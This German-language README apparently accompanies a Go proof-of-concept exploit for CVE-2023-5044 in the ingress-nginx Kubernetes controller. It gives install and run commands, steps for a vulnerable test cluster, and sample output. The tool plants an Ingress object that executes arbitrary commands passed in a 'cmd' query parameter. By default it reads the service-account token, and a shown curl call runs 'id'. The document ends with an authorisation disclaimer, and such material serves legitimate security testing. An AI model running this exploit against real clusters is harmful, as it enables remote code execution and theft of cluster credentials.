
Go-basierter Proof-of-Concept-Exploit für CVE-2023-5044 in Ingress Nginx, der Remote-Code-Ausführung durch manipulierte Ingress-Objekte in Kubernetes-Clustern automatisiert.
Dies ist ein schnelles Go-Programm, um die aktuelle CVE im Ingress-Nginx-Controller auszunutzen.
Details zur Durchführung sind bereits über Rory McCunes Blog unter https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/ verfügbar, dies hier automatisiert den Prozess etwas und bereinigt den Exploit, sodass er ein flexibleres, generisches Remotecodeausführungs-Payload darstellt.
% go install github.com/4armed/cve-2023-5044@latest
Sie benötigen einen Cluster, gegen den Sie es ausführen können, der eine anfällige Version von ingress-nginx (offensichtlich) ausführt. Wenn Sie keinen haben, gegen den Sie testen, können Sie einen Kind-Cluster erstellen, indem Sie dieses Repository klonen und das Makefile im deploy-Ordner verwenden.
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
Wenn Sie die Datei kind.yaml unverändert lassen, haben Sie einen Cluster, der an Ihren Localhost auf Port 30080 und 30443 gebunden ist.
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"
Die Zeile "checking permissions" erscheint, weil das Tool eine Subject Access Review durchführt, um zu überprüfen, ob Sie Berechtigungen zum Erstellen eines Ingress haben. Wenn nicht, wird es an dieser Stelle beendet. Wenn Sie Bearbeitungszugriff auf einen vorhandenen Ingress haben, können Sie den Exploit sicherlich verwenden, um eine Kompromittierung zu erreichen, aber es ist viel zu komplex, das Aktualisieren eines vorhandenen Ingress zu automatisieren, ohne etwas zu beschädigen.
Der Standardpfad zum Auslösen des Exploits ist /4armed, und er liest und führt den Wert des Abfragezeichenfolgenparameters cmd aus.
Es wird eine Beispiel-URL mit dem Standardbefehl cat /var/run/secrets/kubernetes.io/serviceaccount/token ausgegeben. Sie können dies mit dem Flag -e ändern oder einfach einen anderen Wert im Parameter cmd angeben. Der Exploit ist nicht fest codiert. Sie müssen keinen neuen Ingress bereitstellen.
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)
Der Name des Ingress-Objekts wird mit GenerateName randomisiert, achten Sie also auf die Ausgabe und räumen Sie hinterher auf.
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted
Wenn Sie nur das Ingress-Objekt generieren möchten, verwenden Sie:
% cve-2023-5044 generate
Dies ist nur für Testzwecke gegen einen Cluster, für den Sie eine Autorisierung haben. Wenn Sie es gegen einen Cluster verwenden, ob mit oder ohne Erlaubnis, übernimmt der Autor keine Verantwortung für verursachte Schäden oder Probleme. Es wurde sorgfältig darauf geachtet, Pfadwerte zu wählen, die nicht mit vorhandenen kollidieren. Sie können diese mit Flags überschreiben oder bei Bedarf den Code ändern, aber Sie könnten trotzdem etwas beschädigen. Stellen Sie sicher, dass Sie wissen, was Sie tun.